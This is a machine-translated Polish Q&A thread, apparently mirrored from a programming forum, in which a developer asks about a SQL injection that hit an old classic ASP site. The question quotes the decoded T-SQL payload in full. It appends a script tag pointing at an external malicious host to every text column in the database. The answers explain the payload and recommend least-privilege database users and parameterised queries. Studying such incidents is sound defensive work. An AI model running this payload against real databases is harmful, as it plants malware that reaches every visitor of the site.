Czy ktoś może mi wyjaśnić ten atak SQL injection?
Chciałem to opublikować tutaj, ponieważ jest to bardzo związane z kodowaniem i było to coś, co musiałem wyczyścić w tym tygodniu na jednej ze starych stron ASP (klasycznych) mojej firmy.
Zostaliśmy trafieni atakiem SQL injection, który został uruchomiony zaledwie kilka dni temu, ale drapię się po głowie, co dokładnie było "uszkodzeniem" serwera SQL (za pośrednictwem tych zapytań SQL).
Szczerze mówiąc, myślałem, że sposób, w jaki to przeprowadzono, był bardzo pomysłowy, a to moja wina firm za posiadanie starej strony 10 z małym lub żadnym środkiem odkażającym.
Atak:
Dekoduje do: (co chcę zrozumieć)set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Odzyskaliśmy kopię zapasową (Pre injection) i przejrzeliśmy całą aplikację i wyczyściliśmy wszystkie instrukcje wejściowe. Nasz serwer jest firewall, więc nie ma bezpośredniego dostępu do SQL, jednak chcę wiedzieć, co jeszcze może zostać, i muszę przyznać, że zapytanie SQL jest ponad moją głową.
Czy ktoś może się temu przyjrzeć i wyjaśnić za mnie atak SQL?
PRZEPRASZAMY ZAKTUALIZOWAŁEM PEŁNY ZRZUT & SQL
5 answers
Samo sformatowanie go dla czytelności wiele wyjaśni:
set ansi_warnings off
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME, c.COLUMN_NAME
from INFORMATION_SCHEMA.columns c,
INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
and c.CHARACTER_MAXIMUM_LENGTH > 30
and t.table_name = c.table_name
and t.table_type = 'BASE TABLE'
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ( 'UPDATE [' + @T + ']
SET [' + @C + '] =
''"></title>'' +
''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
''<!--'' +
RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
<> ''"></title><script''
'
)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Przechodzi przez każdą kolumnę tekstową każdej tabeli i wstawia do niej jakiś HTML-HTML, który zawiera wskaźnik do generowanego zewnętrznie JavaScript.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 02:16:09
Przenika przez wszystkie kolumny we wszystkich tabelach i aktualizuje ich wartość poprzez dodanie znacznika <script>
, którego źródło wskazuje na złośliwy plik JS.
Ważny bit to
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME,c.COLUMN_NAME from
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in
Domyślam się, że coś tu zostało pominięte, a wypowiedź prawdopodobnie zakończyła się czymś w stylu ('varchar', 'char',' text') lub czymś podobnym, więc próbuje tylko zaktualizować kolumny, które zawierają tekst. Mają nadzieję, że w jednej z kolumn znajdzie się tekst, który zostanie wciągnięty na Twoją stronę, więc po Dodaj do niego swoje odniesienie do JS, zostanie ono zawarte w źródle różnych stron.
Aby to naprawić, powinieneś zrobić coś podobnego - zapętlać wszystkie kolumny zawierające tekst i zastąpić wstrzykiwany skrypt pustym ciągiem znaków. Google będzie tutaj twoim przyjacielem, ale tutaj jest całkiem dobry link, który powinien być pomocny w konfiguracji skryptu, aby to zrobić.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 02:11:48
Rozważ zainstalowanie URLScan 3.1 w celu szybkiej ochrony aplikacji przed próbami SQL injection, a także poprawnego dezynfekcji instrukcji sql.
Ten typ ataku SQL injection działa również zazwyczaj, ponieważ użytkownik bazy danych ma zbyt luźne uprawnienia, np. prawa DBO. Poszukaj połączenia z bazą danych z aplikacji przy użyciu użytkownika bazy danych posiadającego tylko niezbędne prawa do uruchomienia aplikacji. Możesz utworzyć użytkownik bazy danych, Mapuj go do bazy danych z prawami publicznymi tylko niż uruchom skrypt taki jak ten poniżej, aby zastosować niezbędne indywidualne prawa do każdego obiektu, którego potrzebujesz.
DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)
SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'
/* set default database */
EXEC sp_defaultdb @LOGIN, @DB
/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'
/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN
/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor
/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor
/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser
DENY VIEW DEFINITION TO yourdbuser
DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser
Oczywiście przetestuj to na swojej konkretnej aplikacji, ponieważ możesz mieć procedury, które wymagają możliwości wyboru z tych tabel sys.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 11:56:07
Myślę, że próbuje wstawić zakodowane ciągi do wszystkich kolumn tekstowych w bazie danych. Sprawdź ten ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html
Hope it helps in some sense
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2011-12-05 23:28:01
Spójrz na zmianę zapytań w ten sposób;
Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")
Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)
Set oRS = oConn.Execute(SQL)
Call oConn.Close()
Set oConn = Nothing
Do czegoś takiego;
Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"
Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
.ActiveConnection = conn_string_from_inc
.CommandType = adCmdText
.CommandText = SQL
Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
.Parameters("@id").Value = Request.QueryString("id")
Set oRS = .Execute()
End With
Set oCmd = Nothing
To tylko prymitywny przykład walki z SQL Injection bez uciekania się do dezynfekcji danych wejściowych. Nadal podchodziłbym do tego inaczej.
Warning: date(): Invalid date.timezone value 'Europe/Kyiv', we selected the timezone 'UTC' for now. in /var/www/agent_stack/data/www/doraprojects.net/template/agent.layouts/content.php on line 54
2013-12-09 12:15:09